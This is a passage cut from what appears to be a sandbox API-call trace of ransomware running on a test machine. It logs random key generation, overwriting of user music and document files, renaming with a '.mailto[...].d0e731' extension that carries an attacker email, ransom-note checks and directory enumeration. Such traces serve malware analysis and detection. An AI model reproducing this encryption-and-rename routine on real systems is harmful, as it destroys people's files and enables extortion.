out: Seed=0x26d7fa84) returned 0xea2293ea [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xcf132034 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x54b76d29 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x973fe8c4 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x71cc2a3c [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xf6ccaf3c [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x5d525df6 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x2a293ee3 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x86afc31e [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xaa36df40 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xea31ed34 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x36a4680b [0176.991] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.992] ReadFile (in: hFile=0x81c, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x26d7fa50, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x26d7fa50*=0x4096, lpOverlapped=0x0) returned 1 [0176.992] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.992] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0176.992] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88be0 [0176.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.993] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0176.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949a0 [0176.993] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f949a0) returned 1 [0176.993] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0176.993] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0176.993] WriteFile (in: hFile=0x81c, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x26d7fa50, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x26d7fa50*=0x4096, lpOverlapped=0x0) returned 1 [0176.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.994] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0xd4a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.994] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26d7fa88, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x26d7fa88*=0x20, lpOverlapped=0x0) returned 1 [0176.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0176.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0176.994] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94978*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26d7fa9c, lpOverlapped=0x0 | out: lpBuffer=0x2f94978*, lpNumberOfBytesWritten=0x26d7fa9c*=0x8, lpOverlapped=0x0) returned 1 [0176.994] WriteFile (in: hFile=0x81c, lpBuffer=0x26d7fab4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26d7fa9c, lpOverlapped=0x0 | out: lpBuffer=0x26d7fab4*, lpNumberOfBytesWritten=0x26d7fa9c*=0x4, lpOverlapped=0x0) returned 1 [0176.994] WriteFile (in: hFile=0x81c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26d7fa9c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x26d7fa9c*=0x4, lpOverlapped=0x0) returned 1 [0176.994] WriteFile (in: hFile=0x81c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26d7fa9c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x26d7fa9c*=0x6c, lpOverlapped=0x0) returned 1 [0176.994] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94ce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26d7fa9c, lpOverlapped=0x0 | out: lpBuffer=0x2f94ce8*, lpNumberOfBytesWritten=0x26d7fa9c*=0x20, lpOverlapped=0x0) returned 1 [0176.994] WriteFile (in: hFile=0x81c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26d7fa9c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x26d7fa9c*=0x4, lpOverlapped=0x0) returned 1 [0176.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0176.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94928) returned 1 [0176.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.995] CloseHandle (hObject=0x81c) returned 1 [0176.995] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x2fa5cc0 [0176.995] wcscpy (in: _Dest=0x2fa5cc0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731" [0176.995] wcscat (in: _Dest=0x2fa5cc0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.995] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\pupdceawlngmad_.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\pupdceawlngmad_.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.996] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.996] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5cc0) returned 1 [0176.996] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x2f8afd0 [0176.997] wcscpy (in: _Dest=0x2f8afd0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0176.997] wcscat (in: _Dest=0x2f8afd0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" [0176.997] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt")) returned 0x20 [0176.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8afd0) returned 1 [0176.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d068) returned 1 [0176.997] RtlExitUserThread (Status=0x1) Thread: id = 2557 os_tid = 0x11e8 [0176.998] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\qbnozpyifc1a.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.998] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.998] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\qbnozpyifc1a.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x81c [0176.998] GetFileSizeEx (in: hFile=0x81c, lpFileSize=0x26dffee0 | out: lpFileSize=0x26dffee0*=39419) returned 1 [0176.998] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x99f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.999] ReadFile (in: hFile=0x81c, lpBuffer=0x26dffeb4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26dffeb0, lpOverlapped=0x0 | out: lpBuffer=0x26dffeb4*, lpNumberOfBytesRead=0x26dffeb0*=0x4, lpOverlapped=0x0) returned 1 [0177.000] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.000] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0177.000] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0177.000] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94928 [0177.000] NtQuerySystemTime (in: CurrentTime=0x26dffe8c | out: CurrentTime=0x26dffe8c*=132121213343143879) returned 0x0 [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x6e2f5e6 [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xb0a2a2b8 [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x7712eead [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x596be4f [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xfcb70eb5 [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x37bed2b7 [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xe666d87b [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xd5871c52 [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x93196748 [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x6b7e3bc0 [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x23735ae0 [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x52b9c829 [0177.000] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x11d8d126 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xdfc66a89 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x6e2da33f [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x97ae674e [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x51ac0aa5 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x852edf77 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x507bd8f6 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xe087823d [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xad5a4a3c [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x7c7ca599 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xd6b37793 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xf7decd1f [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xb18dd45 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xe9afc502 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xeb9d743d [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xaf003741 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0xb6fec232 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x5c92a87 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x1c88ae85 [0177.001] RtlRandom (in: Seed=0x26dffe98 | out: Seed=0x26dffe98) returned 0x3aed120f [0177.012] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.012] ReadFile (in: hFile=0x81c, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x26dffe64, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x26dffe64*=0x4096, lpOverlapped=0x0) returned 1 [0177.013] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0177.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88be0 [0177.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0177.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0177.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0177.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0177.014] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f949c8 [0177.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f949c8) returned 1 [0177.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0177.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0177.014] WriteFile (in: hFile=0x81c, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x26dffe64, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x26dffe64*=0x4096, lpOverlapped=0x0) returned 1 [0177.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0177.014] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x99fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.014] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26dffe9c, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x26dffe9c*=0x20, lpOverlapped=0x0) returned 1 [0177.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0177.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.014] WriteFile (in: hFile=0x81c, lpBuffer=0x2f949a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dffeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f949a0*, lpNumberOfBytesWritten=0x26dffeb0*=0x8, lpOverlapped=0x0) returned 1 [0177.014] WriteFile (in: hFile=0x81c, lpBuffer=0x26dffec8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26dffeb0, lpOverlapped=0x0 | out: lpBuffer=0x26dffec8*, lpNumberOfBytesWritten=0x26dffeb0*=0x4, lpOverlapped=0x0) returned 1 [0177.014] WriteFile (in: hFile=0x81c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26dffeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x26dffeb0*=0x4, lpOverlapped=0x0) returned 1 [0177.015] WriteFile (in: hFile=0x81c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26dffeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x26dffeb0*=0x6c, lpOverlapped=0x0) returned 1 [0177.015] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94ce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26dffeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f94ce8*, lpNumberOfBytesWritten=0x26dffeb0*=0x20, lpOverlapped=0x0) returned 1 [0177.015] WriteFile (in: hFile=0x81c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26dffeb0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x26dffeb0*=0x4, lpOverlapped=0x0) returned 1 [0177.015] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0177.015] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0177.015] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f949a0) returned 1 [0177.015] CloseHandle (hObject=0x81c) returned 1 [0177.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x2fa0b10 [0177.015] wcscpy (in: _Dest=0x2fa0b10, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731" [0177.015] wcscat (in: _Dest=0x2fa0b10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.015] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\qbnozpyifc1a.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\qbnozpyifc1a.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.016] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0b10) returned 1 [0177.016] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x2f8ad90 [0177.016] wcscpy (in: _Dest=0x2f8ad90, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0177.016] wcscat (in: _Dest=0x2f8ad90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" [0177.016] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt")) returned 0x20 [0177.017] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ad90) returned 1 [0177.017] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f86318) returned 1 [0177.017] RtlExitUserThread (Status=0x1) Thread: id = 2558 os_tid = 0x11ec [0177.018] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x78) returned 0x2fef968 [0177.018] wcscpy (in: _Dest=0x2fef968, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o" [0177.019] wcscat (in: _Dest=0x2fef968, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" [0177.019] wcscat (in: _Dest=0x2fef968, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\*" [0177.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023328 [0177.019] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\*", lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4438da0, ftCreationTime.dwHighDateTime=0x1d4d061, ftLastAccessTime.dwLowDateTime=0x894e91be, 